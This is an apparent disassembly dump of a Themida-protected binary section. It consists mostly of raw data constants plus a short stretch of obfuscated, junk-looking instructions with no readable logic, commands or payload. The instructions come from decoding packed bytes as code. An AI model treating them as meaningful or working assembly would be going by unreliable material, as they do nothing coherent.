dd 71800342h, 0F2133A4Ch, 729CEAB0h, 1E1C1858h, 0AD810A20h
dd 0FAAC05DEh, 39F1F8h, 79BC4F7Fh, 88CA70A2h, 7BCF9400h
dd 8CCD3418h, 777D1C5Ch, 10351943h, 14EFF0E4h, 79840300h
dd 0D09D1F65h, 1A4A3F97h, 508F068Fh, 90E47FC3h, 85F8301Dh
dd 0CEB355C0h, 1D1EFA7h, 0BDB8C8EBh, 0D8E668C7h, 9A00E4EEh
dd 4BF0935Eh, 491AED06h, 26392822h, 0C4DF4180h, 0F19F0A74h
dd 8E53E801h, 3A907C0Fh, 0DCA0A047h, 624294h, 20C35C1Bh
dd 56752277h, 34534C00h, 21BB8110h, 1EFB0EE7h, 0F14008F5h
dd 0D0BABE48h, 6275C000h, 2C2FD617h, 4402000Fh, 35A243ACh
dd 0BD0E7CB8h, 807D5EF8h, 490594A0h, 0B4A8035Bh, 0BA8336A6h
dd 24CF9ED9h, 173BB2Ch, 0DA44281Ch, 6B47E387h, 0E97D1B20h
dd 9F9B0E7h, 0C1A1D9C7h, 0F5CF40A2h, 1B206CE4h, 0F8907F6h
dd 62762h, 0B28098DCh, 6BAA9C00h, 0D5642D86h, 78881CA9h
dd 0A328C07Dh, 0CD0D166Ch, 26FECC38h, 4E41FC51h, 31F066BDh
dd 0A182606Ah, 3026B52Eh, 9729FB00h, 0FA330834h, 217A60ECh
dd 0B9A0A31h, 0F911C461h, 1C2D14EAh, 82BBA81Dh, 6CCF231Bh
dd 0F9ACB440h, 3401FCE0h, 13C7CDDBh, 74703157h, 0F37752h
dd 0B9FE25E5h, 7D08005h, 51F8337Dh, 97BB4705h, 0A080585Ah
dd 9DDBA5h, 5659BF09h, 3D2B9B86h, 909E8D24h, 40F4C900h
dd 6511D37h, 0EE701C53h, 4EAA1DAh, 88F1C100h, 0A3D7B39Ch
dd 27110047h, 2D341CD3h, 1816F6B5h, 4805F71Ah, 0A090E7E6h
dd 2C873AB3h, 24989878h, 7F89094Dh, 0B415F800h, 0A9019ED4h
dd 0B44CF60h, 81449F7Dh, 0A8F94A0h, 0B62C876Ch, 0F6404F44h
dd 0F81AF953h, 571D2600h, 90F154A4h, 447A00D1h, 173E334Fh
dd 0F4031829h, 0B2EF01EDh, 0FEE0029Dh, 0FC375BF8h, 30D0EC68h
dd 1654A800h, 5AA255ABh, 3A400AEh, 35F17EFFh, 6C78B1E9h
dd 14CC548h, 0D8258B77h, 36E963DFh, 0C12A9180h, 2433DA6Dh
dd 79278C0Eh, 0F846601Eh, 0F36991BEh, 0A009863h, 4A12CBBAh
dd 2E16E7CFh, 6C005CC1h, 0DCF9E170h, 0FA399822h, 48EC0040h
dd 454EC7B7h, 1B0C385Ah, 0C9A41C89h, 0B4711304h, 0BCB8E074h
dd 23D4A500h, 20677059h, 7B1B0055h, 0B4645D37h, 0BC60EFD3h
dd 7FF1A3F1h, 0D0FD6052h, 0DA279181h, 0C14DE900h, 0F03AD16Ah
dd 13E5053Bh, 9EFB59Ah, 0A02EBE9Eh, 79E0F50Ah, 0E86352h
dd 30A17DDBh, 2B57186h, 835EF919h, 0B8E12197h, 0E8CEF64Eh
dd 4C8AD620h, 2CCBCC46h, 0BF3AA060h, 5ABD48h, 7E91CE4Fh
dd 0FB8357h, 10A6D076h, 9CFFD6D3h, 0C26AEB07h, 5720E6F5h
dd 35C40D8h, 0EA8C10A7h, 96F2E531h, 5B608078h, 0DF55FB18h
dd 11E6602Fh, 90BF98C6h, 619520h, 4EE82D04h, 375FB983h
dd 439D6400h, 6DA36575h, 28080070h, 0E794CD7Ah, 0D100A6D4h
dd 8914F7FFh, 0F692F4A5h, 9E6D0CB1h, 0B25039CBh, 8A00327Bh
dd 0E23AD934h, 547767DBh, 2E58AC35h, 0BC404F07h, 0D3AAD185h
dd 0F698B4FDh, 0FB293C62h, 206064F4h, 9901A6CBh, 54A2EEA3h
dd 8CEC06B2h, 32B00B8h, 41EFDA5h, 1C0051AFh, 0A44E4316h
dd 5F79B4h, 1BE684ECh, 704BBD0Dh, 7F8A901Eh, 5E38B000h
dd 5882758Bh, 2A0F28B7h, 0F52908EFh, 0F15BB400h, 76004061h
dd 0C311A606h, 0BA7359h, 634BB893h, 78FB8639h, 2B6A6F00h
dd 53B75D9Ah, 0DD9200C9h, 0E4965C30h, 0F00FAC19h, 60AD630Ch
dd 0AE07EE32h, 13F90945h, 95805C34h, 0B582BDD6h, 0F8FDD530h
dd 2937561h, 7F112DBBh, 54D2F063h, 0A1B58500h, 0DC9E5AC3h
dd 0E9340006h, 99FBE83Ah, 0C100D17Dh, 68F91059h, 79A35241h
dd 4F7E09DCh, 2001B85Bh, 2E495DB7h, 37119C67h, 9824C003h
dd 64F400A4h, 82819F6Dh, 92001F39h, 0C683B2DFh, 7D9F74Fh
dd 0F81B0C06h, 0D1BDB0E6h, 1403DABBh, 0FE11793Fh, 958AF03Ah
dd 25DC9293h, 420F4A1h, 26B3B0CCh, 53D2D800h, 9D3EE572h
dd 0E3ECA0EEh, 0CD400531h, 0C0DA1DA4h, 699E5897h, 0D0417700h
dd 31F443F8h, 46FA1D8Ch, 307000D3h, 9A176EB0h, 0DFDC0302h
dd 609B8F5Eh, 9C27B50h, 71622AEFh, 17B2E600h, 0C8007547h
dd 0A6973A73h, 0EBABE7h, 31AF0FEEh, 0A28BC3B9h, 8FA84900h
dd 42747913h, 69B0F50h, 810F39F3h, 0BAD10D80h, 7B00EF32h
dd 0EE6C5202h, 0ACDA0Bh
dd 0C9DB99DFh, 0F9A4FE74h, 0B0A1D400h, 57B28805h, 918E00F7h
dd 200FE770h, 260B4DA4h, 31F06047h, 3C18D848h, 3043DF26h
dd 0B47A9780h, 58C8F91Eh, 7691F6h, 0E948F5CCh, 9652CF8Ch
dd 5F04382Ch, 49280025h, 1F82931Dh, 47D9B334h, 6C88EA22h
dd 0A701BD28h, 6CAF291Ah, 38627C9Fh, 0D3CAEB00h, 0B01FF440h
dd 500B754Ah, 51BC0264h, 63DE6029h, 0C8970309h, 4CBA91CBh
dd 1320A104h, 0E89054AFh, 240B968h, 59690D9Fh, 0E46086A6h
dd 0CA2C51B0h, 32002022h, 4B5C98CEh, 0F49213h, 0B50C6C75h
dd 911BB478h, 144EDB33h, 0FDB8F04Fh, 0B4F55871h, 25135400h
dd 18D0CCCh, 0AB3CBD16h, 7B329428h, 0D1230003h, 304CE8AFh
dd 3D14D2A7h, 2CD248C8h, 511EA42Ah, 0DF3E97CEh, 0FE6F5F40h
dd 7EAE69h, 1DC234C5h, 6315026Bh, 0A89A522Ch, 0CB92BE90h
dd 542F0B5Ch, 500C8964h, 3056787Ch, 37992BB3h, 30548E2Dh
dd 6F0B4498h, 2ACBC5h, 65621A08h, 3BA2159Ch, 1913886Dh
dd 4C1C8AF5h, 2C9D0334h, 91195C28h, 0F7EC6C4Dh, 18087FE5h
dd 28836A11h, 0D77DF0BDh, 0C70BE892h, 68482155h, 1717667Ch
dd 0C29F879h, 0A6DCF95Ch, 0A02579DCh, 9E9782F4h, 487A1233h
dd 0F60C00D8h, 54ED894Dh, 5291F460h, 597063DBh, 93709Bh
dd 1F302BECh, 9306CFE3h, 0E9A003BDh, 52B12E60h, 40E35894h
dd 9B2A427Ah, 6AF098B4h, 0A0F26922h, 5C8722A4h, 8500DBF7h
dd 5007EB39h, 9700D967h, 5989D783h, 1DF0482Ch, 83BD3F19h
dd 23AA76A8h, 7C60A6BAh, 920975DBh, 0F882E862h, 0A59706B0h
dd 116D540Ch, 2690DE00h, 1F3AF34Fh, 0EEAB0139h, 1B521451h
dd 8C536B38h, 3BE35C30h, 4BF876E9h, 29B40863h, 0B37D2660h
dd 21900013h, 0A69C529Ah, 68003E35h, 0E4F58459h, 439222h
dd 8EC41D4Fh, 85107DBBh, 0C6ECA1F4h, 79BF503h, 0FAB09356h
dd 226CC07Bh, 8AAB000Dh, 40994BAAh, 883BC47Fh, 0FC728269h
dd 0C08B1764h, 98C3CECBh, 16BE00B0h, 0FE2DB54Ch, 4B038624h
dd 0CC37940Ah, 9FADF8C6h, 0A65600A9h, 2082F54Ah, 0EF01548Ch
dd 0DE1479FAh, 9F6098C7h, 0D4720B3Fh, 28742386h, 0C45BF100h
dd 7EA7BACh, 0B1B4452Eh, 20BBA30Dh, 71E144D8h, 1C37C30Fh
dd 78D5A022h, 48C23601h, 0B400A0A0h, 206376C5h, 94C03202h
dd 8ECF016h, 19653F50h, 0C09BDC00h, 98C93A99h, 7FE4BC00h
dd 388B84D7h, 532C0009h, 4195E3F1h, 2143A78h, 79E034C1h
dd 0F7F45C01h, 8DC9E95Ah, 1F19D874h, 4087D0E0h, 94580849h
dd 0B400DDE6h, 28163B33h, 7AC72702h, 0ECCF004Eh, 0ADA9176Fh
dd 3E00F547h, 0BB067B1Ah, 9321D1h, 3D494A9Eh, 76628D80h
dd 14F3972Eh, 0DF1C2700h, 701275A9h, 787D607Bh, 11E0DE53h
dd 689C48h, 0E3162AFDh, 0EE1F3DDh, 9ACA4131h, 0C1DF39E3h
dd 6C25AF98h, 324A8801h, 4FC8A056h, 913E303Ch, 58318200h
dd 0BCCCA14h, 0AE83AF07h, 2CF41FB9h, 3C0C0C80h, 35FD30EFh
dd 4BDEF548h, 350548h, 9CDB75E9h, 1B1F05Ch, 4913A6E4h
dd 90D48C16h, 61099561h, 18A0C625h, 72C971DAh, 8C923300h
dd 2AF3632Bh, 24CC79B1h, 2ABD319h, 1B16AE7Eh, 0B809D4D8h
dd 1824FB7h, 3E052C78h, 35F0BDFDh, 722100BAh, 689187D7h
dd 5B38EF49h, 0C29484BFh, 4A86484h, 215D3400h, 6D10A839h
dd 3064AC4Ch, 0B62F40C0h, 0F372003Bh, 640E0348h, 0F5308971h
dd 50C621DAh, 165C2C21h, 4CBC1F49h, 0E5483A98h, 34004372h
dd 2EADDABAh, 7688E88Ch, 0FC370429h, 8740B8EAh, 0C8C1B024h
dd 20002A35h, 0CC7CBBBh, 8CCE1Fh, 66768160h, 2A30A590h
dd 0D581A099h, 6E8E5D10h, 544F9C42h, 80073930h, 0A777A22Dh
dd 0F65F80EBh, 7D00D710h, 0F54E6EEAh, 0F4C464Dh, 4041AE35h
dd 516BFFA0h, 897EA938h, 0AA6E9400h, 1AB59FD9h, 0EA4B0088h
dd 3378EC84h, 0CCB84604h, 31EBDF00h, 680FBD02h, 0C0C31D18h
dd 0B587C091h, 65DCAC7Fh, 0F5939F02h, 0C0F02E9Ch, 79166FCh
dd 56A34FCh, 0C1405F3Bh, 76D5B797h, 94736C00h, 80DBA12Fh
dd 0BF1B0F87h, 92C02895h, 0F89ADDD2h, 0F48C5F5Ah, 464F03Ah
dd 35A23B8Ch, 0F3B98098h, 0B200F144h, 2DE2B4DFh, 13069F17h
dd 40707303h, 32AF40D8h, 709B85Ch, 60516599h, 8F7148h
dd 0F74B22D4h, 281976AEh, 0A87C901Dh, 246DED00h, 130A702Ch
dd 0A662CBh, 0D6A01420h, 0E23D8003h, 0F62B0091h, 2FEA8C4Fh
dd 5BB900C5h, 0F9607BBCh, 0F81DA941h, 37D604A2h, 7E9B4E0h
dd 4350738Bh, 0DAD8B0F6h, 324CE0E2h, 3CB50B20h, 9C501694h
dd 0E8B050C0h, 43FF5906h, 6E08E21h, 6B3C5719h, 0F080C86Ch
dd 0D0E05570h, 40A5D82Ch, 936D4401h, 0D7DCBC8Eh, 4BF50090h
dd 5EB1CA82h, 0EB587161h, 0D1C50030h, 0D31B7BFh, 546F167Bh
dd 2158804Ch, 0A7009DB1h, 0AD87A56h, 703ED530h, 8196000Ch
dd 1485A535h, 0ED2C6CDDh, 0BE015355h, 0B6CF537Ah, 39AB8085h
dd 24508C45h, 320F389Ch, 790C8077h, 3D05FE5h, 238150C5h
dd 0F2F85D12h, 15508611h, 0B9082AC4h, 1D9E05E1h, 0BF9A80D0h
dd 82561E3Ch, 140F62E0h, 0E071A528h, 3FC87275h, 86B51D1Ch
dd 2CF1E6Dh, 6F205B23h, 37485DE0h, 767151Eh, 0A3969C43h
dd 0C40ECDA5h, 81F00989h, 2C5F19E4h, 0E04C006Fh, 79631B05h
dd 0B897E315h, 6E2403C8h, 0C0EE747Bh, 9A40B985h, 927650h
dd 0B0384F50h, 0CE978083h, 4BBDDB2Eh, 7E6A7A01h, 0E5425189h
dd 0BE005D3Bh, 0A6D1F106h, 0AB7C970Eh, 0EEB280EAh, 0EA3D381h
dd 806A9324h, 0A0E5F6E0h, 3B007CAEh, 0B1A92E3Fh, 9B0A19h
dd 5F14CA34h, 0CDAB92E5h, 0D4609D1Dh, 0B9733C0h, 25866153h
dd 0AC600739h, 0AF0001A2h, 8E592CC4h, 3CA5B530h, 0AA839474h
dd 38072DEFh, 0DF4AFC80h, 0FA1AAD01h, 55D6D85h, 0E8F830h
dd 18FD8BA5h, 0A9520778h, 2D50A85Dh, 7FF810AAh, 701580A4h
dd 2978D3FCh, 5E003AB8h, 0EAA38385h, 90E791B7h, 160B205h
dd 642AD37Dh, 60AF9CCBh, 0B40749EBh, 84777C87h, 1780058Bh
dd 0FFB8B8D0h, 20AC003Ch, 6FFE0452h, 0B100F410h, 7C16FC75h
dd 0D8839Dh, 0C3611C22h, 53DFD0A9h, 0BC861D28h, 0DE0CACEEh
dd 108AE9E8h, 0AAD22D15h, 2CC60862h, 3B6BD100h, 88A0547Fh
dd 0D72501DDh, 73FABC9Dh, 5F3881A7h, 0A2C4B45h, 369AE0EAh
dd 44795819h, 2534F301h, 0D8352743h, 840FE9AFh, 0C023ED5Dh
dd 419B050Bh, 8650C06Dh, 0ACEECA44h, 1FA0CD00h, 26FB7ECFh
dd 0E61EE29h, 93A17430h, 0A8D8EB40h, 0E10E28D3h, 0CA8F7959h
dd 0A414E3E0h, 0D6BB00A0h, 1A305622h, 0F1191F49h, 0B2D8C5DDh
dd 0AC26h, 0C3D483B7h, 657439h, 0C41FC5A9h, 0F6447F4Ch
dd 0A037132Fh, 0CE6D871Ch, 2830F570h, 1F400084h, 61306271h
dd 5A04FB3Ah, 5675ED24h, 0CBE254D0h, 424024D8h, 4B064000h
dd 0C409AA6Ch, 27B695CDh, 82A94298h, 0D46AC770h, 2C3C1C5Ch
dd 89AA00C9h, 4F83E55h, 0BC524002h, 40B6C45Fh, 75FA1754h
dd 20754841h, 507FD500h, 10A7F158h, 6EDC43Ah, 741A7693h
dd 7C230220h, 0E81C0630h, 72E53040h, 1D4D9588h, 0C7F493BCh
dd 0C0A7DD3Ah, 10138950h, 0B8A4DC04h, 0FC88F598h, 0B00105F2h
dd 0C0CD75D5h, 2D6B6F4Ch, 0A65D5E0Fh, 7B64C057h, 2EECD069h
dd 8C6D0Dh, 0BEE6121Fh, 0C0C0D2DBh, 0ACED9882h, 75D0051h
dd 6C232667h, 0EB2DA908h, 0BDBCC897h, 0A53300BBh, 64ECE999h
dd 610555FAh, 868FBA89h
dd 87BC00F3h, 45F30386h, 1D673FF2h, 0EE84602Dh, 8295006Ch
dd 891FCDC1h, 720024B1h, 867B9180h, 94030BB0h, 0CC00270Ch
dd 96918DBh, 0BC0D172Eh, 0E528B80Eh, 0B40063CDh, 34362059h
dd 106563D8h, 0E4C88433h, 0B70931DEh, 0C197EC30h, 0DC3D6A74h
dd 4D408D00h, 6114397Eh, 0E8709900h, 46A60E0Dh, 9D59C00Ah
dd 3536273Ah, 0FE4886F5h, 0B00EE48Ah, 39785807h, 9304EC24h
dd 42892AFh, 0E00214FCh, 5893B6C6h, 729F09F8h, 4841B8DAh
dd 90DCD743h, 700E8460h, 0D6291B0Fh, 0C5CC01Dh, 0A6CB8Ch
dd 0BCE9B63Dh, 0FDDC6550h, 40BB398h, 9D2B8Bh, 90FBDA74h
dd 0DFCA005Ch, 84A7B5F6h, 0C905327Fh, 522FD1A5h, 7516CF4h
dd 0F6CE672Dh, 3AC3AB7h, 17B1E429h, 7D93D7C0h, 750D5624h
dd 20371200h, 0AA35A5h, 0A8E2C7EEh, 6A16321Eh, 0E802E35Eh
dd 70194A9Bh, 0C54FCCCh, 86C67D49h, 9C07D2D1h, 0CBB78BB5h
dd 0E99693E0h, 81580037h, 0B4805EA3h, 5326E8E1h, 0C800B0BCh
dd 932EE913h, 418CB6DCh, 38823CADh, 95480968h, 0BE6C207Ch
dd 0F19626Fh, 0B4F99C77h, 56AA3B20h, 93005C3Fh, 0A3250FC5h
dd 1D2705CAh, 8EB72079h, 96E08798h, 1B1D6216h, 0B30E0D75h
dd 7C973A1h, 0E0435F90h, 0B56AE0D0h, 3ACD0042h, 977D5C1Ch
dd 70008432h, 0AE4B0CDEh, 985326h, 752B92ACh, 47D3565Ch
dd 6C932300h, 4F142D45h, 709701FDh, 4349F91h, 4806810h
dd 923EE35Fh, 0F4E51F80h, 0CB790794h, 77B357C3h, 9F54E167h
dd 30D9D428h, 2A480A0Eh, 0E2F0673Bh, 94B81A03h, 0D401A0A8h
dd 54724943h, 0E8A4300Eh, 6F0B5C00h, 2B83D7E1h, 0B7A7FC6h
dd 71F9E0E2h, 90565880h, 5EE89C61h, 40AB6524h, 7D44901h
dd 19E8D073h, 92B000A4h, 0E3EBBF5Dh, 3E00EF44h, 0B3D8651Ah
dd 1CB4EDh, 7B8C9573h, 6859AA60h, 0C0FC839Fh, 74F935Bh
dd 0D7DE1388h, 0CC363024h, 0F2004EFFh, 8E199737h, 9D3F708h
dd 0C054D1A4h, 5E754C80h, 905CCBFFh, 0E069336Ch, 1948D00Dh
dd 27521344h, 0F6CCE06Fh, 0C2D06C00h, 8CC9FD92h, 9BF400BBh
dd 0E7F98BEDh, 3712E448h, 0F0409C01h, 0F5ADC1ACh, 61030038h
dd 15FF092Eh, 3000D722h, 1FA4D427h, 1371AAF6h, 952B8Ch
dd 1549BC98h, 0A99713A5h, 0E4CD22Ch, 0E904FED4h, 84266620h
dd 0D119FF46h, 0BC10EA7Ah, 0F0F3B1E1h, 9AA26168h, 7E1E2504h
dd 81007C0Fh, 770C056Bh, 7AED08C0h, 580AE78Ah, 0BD00725Fh
dd 0F0317624h, 7700AF81h, 0A4479FBBh, 0DDA385h, 22E30E4Fh
dd 29D8548Fh, 84BE3Ch, 0A46B30D4h, 17106292h, 0F1F436h
dd 7A25B89h, 99C09B9Eh, 0E920E3F8h, 0E01308Dh, 0BADB2B21h
dd 0A6073A03h, 86CDC69Bh, 0A3ECA8h, 6EF02F73h, 0E522F8CCh
dd 68005D7Ch, 0D3AB6081h, 167495E4h, 1FAAB819h, 2E1F80D1h
dd 231C02E9h, 2B76D507h, 0E681218Bh, 69C45DE7h, 8AD00E2Ch
dd 90403EA9h, 993A849Ch, 0C58D7F00h, 0BE3B755Ah, 59F00009h
dd 0BDE8FDE7h, 747511A5h, 7CB4AC01h, 2F82DAEEh, 1E831D20h
dd 407805C3h, 6DBDBA56h, 86006111h, 0CA73188Bh, 0F07F3968h
dd 0AE830E85h, 0F7601416h, 9D91B7D5h, 416CCEA1h, 0E825EAC8h
dd 0DA4841F1h, 0A899012Fh, 0C829F15h, 20FAE0h, 0F8F0905Fh
dd 89EAB627h, 0ECA8FBFAh, 0DE00A0FCh, 4DEC1C30h, 0BB4964h
dd 5877694Fh, 0E21F02C0h, 44FEF124h, 0D607D03h, 0ECE5FFF6h
dd 4790BC01h, 37F4FCEFh, 20E8009Fh, 0E2FB3D0Fh, 973A09E5h
dd 0EAE075FFh, 81B9C63Bh, 0F979FE13h, 81BEF21Dh, 0A1081B30h
dd 0ED00918Bh, 98381494h, 0E1C26D3h, 88975F1h, 548471A0h
dd 9F0FE110h, 80CC1B0Dh, 5E6927F9h, 47B90240h, 8FC29909h
dd 0E2DBF85h
db 0DEh, 0EAh
word_505446 dw 226Bh ; DATA XREF: ___:off_4374B8o
; ---------------------------------------------------------------------------
push 1C69E898h
db 36h
xchg eax, ebx
and dword ptr [edi], 0AAE0A88Fh
nop
dec eax
jnp short loc_50548D
sbb al, 0ADh
scasd
icebp
or al, 0C7h
retn 0D931h
; ---------------------------------------------------------------------------
dw 0A1Dh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 77h, 0, 45h
dd 0D6AF57D5h, 8F1F0304h, 0ACC68C2Bh, 0CE542900h, 26C50641h
dd 0C270079Ch, 70CC8187h, 0E2663834h, 6B3AB07h
; ---------------------------------------------------------------------------
cld
loc_50548D: ; CODE XREF: Themida_:00505457j
mov [eax-6Eh], edx
fxch7 st(7)
sub [ecx+ebp*2], ebx
or gs:[ecx+5972BDA3h], eax
push ds
clc
lock dec edi
add [ebx+1B305421h], dl
insd
fidiv dword ptr [edi+6936FD06h]
aaa
inc byte ptr [ecx+1Dh]
add esp, [edi+21h]
push ds
pop edx
cmp eax, 92E36D0Fh
mov ds:0F33E614Ah, eax
db 36h
cmp al, 18h
xlat
pop ds
insb
adc ebx, [eax+14h]
adc [ecx+2B2C0031h], cl
xchg eax, ebx
wait
dec edi
inc ebx
fadd qword ptr [ecx+0]
db 3Eh
inc edx
and bl, bh
jno short loc_5054F9
retn 0F33h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dd 0FAB8A75h, 0E16A4083h, 6C8357Dh, 0B8A0A12Bh, 40F0815Ch
dd 14CE4100h
db 7Dh
; ---------------------------------------------------------------------------
loc_5054F9: ; CODE XREF: Themida_:005054DAj
lea eax, [edi-79FF74F3h]
retn 9A4Eh
; ---------------------------------------------------------------------------
dw 77C5h
dd 711820B0h, 3F3101B8h, 0B2991CE4h, 0A002C057h, 9AC40E88h
dd 8903F172h, 0E14EC773h, 0B750014Ah, 408390D3h, 66D08150h
dd 5BFCC01h, 3130E0F5h, 0C2D1C074h, 0C52BBBFAh, 4052461Dh
dd 71E57A80h, 18094C50h, 1124A267h, 6843A072h, 3E9C4002h
dd 3D206B37h, 0C1A64309h, 0C5850241h, 0F8045952h, 10D3C7BAh
dd 0E24CC71Fh, 2521D0h, 661D64Eh, 0FDE63AF1h, 223B093Ah
dd 0B6900075h, 0A69BC7DBh, 25FA8938h, 39DA5906h, 776116BDh
dd 50C40072h, 0C9712E7Ch, 70748EC7h, 5B216961h, 7CC0C451h
dd 0EB64043Ah, 8014E60Ah, 57227F10h, 58A08A70h, 0E4827E5h
dd 0EA440010h, 86FB9331h, 870C005Dh, 0CD9FD1E8h, 81606602h
dd 0FD47B831h, 0EF40C301h, 187484E3h, 0BFF99400h, 0D0CB05F8h
dd 0BDBE023Eh, 0C431E2F7h, 0DCD88CA3h, 0CCF431C6h, 0C3BF0414h
dd 7AB200E2h, 3234387Bh, 0E6277445h, 473B068Dh, 41626D51h
dd 7B2E507h, 6E90DCE2h, 0CC5B44D0h, 8217908h, 5707C824h
dd 569D9700h, 711876h, 5BE843Bh, 0E2A198E5h, 0B4B852h
dd 0F172B59Eh, 46B423h, 55A93132h, 0FD965EDEh, 507AA9C0h
dd 3BE387CAh, 0C9601509h, 58DA1980h, 0F004A4A2h, 0D64B6064h
dd 0B906105Eh, 0BF22C83Ch, 50D65383h, 83F70CD1h, 0C4CBCAC7h
dd 0DD9440B5h, 0B7E84DE2h, 0E838482Ah, 0C7E3B200h, 0CC7D7534h
dd 5D7601A9h, 0F04D3032h, 0C3EBF47Fh, 6641DD62h, 0E298905Bh
dd 0E7C20157h, 0BF48E3ECh, 8DDCFD49h, 9138806Ch, 31847AE5h
dd 0F061964Ah, 0A6EEDE87h, 0DDAFC103h, 0A316A55Eh, 8AF81024h
dd 0AA428457h, 54D64D30h, 7CF00668h, 45072191h, 1030DBB5h
dd 0E261AE0Fh, 0A1A06C02h, 0A471BCAFh, 748B5CB8h, 5CC17FC8h
dd 9ACCB992h, 0E7620581h, 88F938Ah, 618A71A0h, 8308EC33h
dd 0B4E58C76h, 0EA00C099h, 2B3F110Eh, 0B810B728h, 0E5250082h
dd 0DC4EA694h, 8036FCFBh, 46F83153h, 0D64C0237h, 0B1A10633h
dd 3E1079F8h, 2B00DBB4h, 147525CFh, 0CA76B8Fh, 18BCDE3Ah
dd 32070BA1h, 5D685817h, 0E70FE0C1h, 60E56024h, 619549B1h
dd 0FCF76D08h, 40012753h, 6664B358h, 0BC014742h, 0DB51808Fh
dd 1ACE4F81h, 0A740009Eh, 5E2CFF96h, 8A406E9Bh, 0B7850A44h
dd 8388E5F0h, 0AD22DEA2h, 15E9E1D8h, 8917D33h, 0C021009Ah
dd 0C63B2236h, 9704130Fh, 85302E70h, 0DC084094h, 0C45AC074h
dd 0A6217C4Dh, 38869170h, 1FC38392h, 0A95B06A7h, 836A3AD4h
dd 30C95CA5h, 0B2599C35h, 7693EC47h, 0DA44E700h, 249702F1h
dd 25CD4E75h, 0F7002866h, 3C15E6B5h, 389FED94h, 88065C8h
dd 3B2477F6h, 5B05DCC7h, 6209E912h, 0F5E9842h, 600F0901h
dd 84206389h, 1A69D425h, 56D3A02Ch, 817E7100h, 0E089EBF2h
dd 0F7B509D6h, 0A011A37Ch, 9B0310C8h, 0EE3A04F3h, 0C270767Bh
dd 0AC304B60h, 0DCE81107h, 807788D2h, 0DE07CA06h, 0E326A16Ah
dd 71409C38h, 907DD24Ch, 56D84C30h, 0B2001C52h, 0D46DE84Bh
dd 34B18334h, 0B2187679h, 96A90F00h, 5325713Ch, 3C5050D2h
dd 60D40F6Ch, 0A41EF306h, 0B81A4044h, 1400AC56h, 1B9CFCAFh
dd 2616C613h, 88F81FBEh, 250451EAh, 6E40E7EFh, 687D6705h
dd 472CD700h, 46BA726h, 0FAECA09Dh, 0EC560F6Ch, 0DC005D34h
dd 20D9FC80h, 0A4E51B24h, 536E840h, 57E600A4h, 83560F86h
dd 0DF00153Bh, 0C0B5ADD8h, 268AC1C5h, 96D48D69h, 5C5420BCh
dd 9D00D822h, 94AD177Fh, 512D69h, 0C6882F7h, 8086C048h
dd 7A466492h, 4BC43402h, 0B4C7367Ch, 894CB409h, 5CB58050h
dd 4D6427Eh, 0A8A7E063h, 8E0855Bh, 3CC1B5B4h, 91EDBF22h
dd 0C2889E18h, 8C221D74h, 94B58236h, 0AE80B26Ch, 21482ED4h
dd 547F8E29h, 12188A79h, 21B6CD01h, 0B7DA8BAh, 5AE78D0h
dd 0D522459h, 799C82DAh, 5D666221h, 0A40424h, 0B3E77DA1h
dd 27102436h, 0ECE30C1Dh, 665C5383h, 0A529005Eh, 91C37C71h
dd 0F1071AC8h, 0D9ECCBEBh, 0E55EA430h, 0C0CDECB7h, 790B9BE9h
dd 300759Eh, 0ED8134Fh, 1760A957h, 2AD4D1Ch, 0F0704840h
dd 8611789Dh, 63740493h, 5E89477Eh, 30818B66h, 1319B3E5h
dd 2900FD92h, 0E2E4760Eh, 1C4EA1E7h, 0B577A9h, 0DB9F9C86h
dd 5329852Eh, 0E287E4EFh, 41B4A922h, 0BC207962h, 726227Ah
dd 0C8811FAh, 0F5AB4044h, 13546639h, 1F00F098h, 4DFBEB08h
dd 756D15BAh, 97510359h, 69B29068h, 0EC4162D2h, 42A1861h
dd 51065DD6h, 277B323Bh, 74D63044h, 3800370Ch, 499E18D0h
dd 493050D9h, 784974BDh, 45941424h, 0BA9C4021h, 0F0EF0CF5h
dd 0B83A2626h, 9D76D200h, 9E904CDh, 1B744A94h, 0FD8D9818h
dd 0F7C57D39h, 0D608899h, 148F54D3h, 0BC8AD98Bh, 0BB80BA88h
dd 4C28A74Eh, 628E00E8h, 843A74CDh, 3506CE32h, 6721F4A5h
dd 0CF520299h, 692A59C4h, 197984C0h, 164474EDh, 67005491h
dd 58459C65h, 4D4E0349h, 1DF98315h, 2BF2297Dh, 0FA7A5300h
dd 0C60B2E45h, 0C240271h, 227C0FC4h, 79C96C20h, 588E802h
dd 100A4FD4h, 1E048068h, 0C9C0FADCh, 40D7730Eh, 0F4824CC0h
dd 0AF005023h, 6ADCDF07h, 76458686h, 6CC8C5F9h, 46ED39DDh
dd 0C306FA85h, 748C4350h, 40BB62B4h, 286EB2E0h, 0C1F42707h
dd 81F34B71h, 0B82900EDh, 83C65B96h, 7D0A75CDh, 0EC55B59Ch
dd 248B608h, 83F2ADFAh, 0B9E1440h, 0C7003AECh, 506DE9E0h
dd 16674A0Ch, 1C11944Fh, 70E58671h, 4D010856h, 0B46EC666h
dd 30BAE94Fh, 14628018h, 0D970E224h, 96633300h, 8C5DE11Ah
dd 0BD5901C7h, 736BBC56h, 0A5108389h, 8F5E0DB2h, 0FAB80150h
dd 8480181Ah, 4FE79009h, 3C55A90Bh, 0D45C8023h, 6BDC85h
dd 4E526E84h, 0E647BDE3h, 8FAC2CF1h, 0E58E4041h, 3AE1486Eh
dd 0DE3D8128h, 5D616781h, 0F0327842h, 25F8623Ch, 27763E01h
dd 4677F35Ah, 0E886FDE0h, 0F710C031h, 726DAB93h, 69E85C18h
dd 4260ACh, 6624EA2Eh, 0D0E5D961h, 598F4303h, 0C0E127D4h
dd 694F180h, 0E0EC6255h, 0E9030805h, 0CEF75D24h, 0CF49E042h
dd 0C57DE5h, 7A5E3FDEh, 9D683E59h, 43D64AAh, 0F6EFE177h
dd 51080ADh, 75FBF9A2h, 97FA0086h, 1879217Dh, 84310A85h
dd 0B1AC18FEh, 135EB870h, 0CE7DDE9Bh, 0C079C878h, 0D2580569h
dd 46275E00h, 26AB70EEh, 9F130BF8h, 1A80C780h, 47D4D50Ch
dd 8B20C200h, 0FDC58676h, 828E165h, 23102F5Ah, 485A0276h
dd 707AEEE5h, 17232F00h, 0D25DCBEFh, 0EAD800CEh, 33958728h
dd 75026425h, 0B807FAE8h, 5D888026h, 61864832h, 81FDA8BFh
dd 6618387h, 0EA0DD90h, 0D59FE3C1h, 24A7AFAEh, 0B2EBD452h
dd 3080E238h, 0DD27B46Bh, 0E54CA56Fh, 0EE00D85Eh, 8A2C954Eh
